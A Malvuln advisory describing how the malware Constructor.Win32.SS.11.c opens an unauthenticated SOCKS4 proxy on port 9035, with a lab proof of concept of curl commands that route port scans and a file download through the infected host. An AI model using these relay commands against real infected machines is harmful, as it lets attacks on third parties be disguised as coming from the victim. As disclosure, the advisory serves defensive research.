Constructor.Win32.SS.11.c Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/da60b92742abff72930879fa8560b3c3.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Constructor.Win32.SS.11.c  
Vulnerability: Unauthenticated Open Proxy  
Description: The malware listens on TCP port 9035. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: da60b92742abff72930879fa8560b3c3  
Vuln ID: MVID-2021-0311  
Disclosure: 08/05/2021  
  
  
Exploit/PoC:  
Scan Ports)  
  
curl -x socks4://192.168.18.129:9035 http://192.168.18.128:21  
220 INetSim FTP Service ready.  
500 Unknown command.  
  
curl -x socks4://192.168.18.129:9035 http://192.168.18.128:110  
+OK INetSim POP3 Server ready <15233.1627604509@pop3host>  
-ERR Unknown command.  
  
Download filez)  
  
curl -x socks4://192.168.18.129:9035 http://192.168.18.128/DOOM.exe --out DOOM.exe  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 1604k  
  
192.168.18.129 - - [29/Jul/2021 20:22:43] "GET /DOOM.exe HTTP/1.1" 200 -  
Request made by 192.168.18.130  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`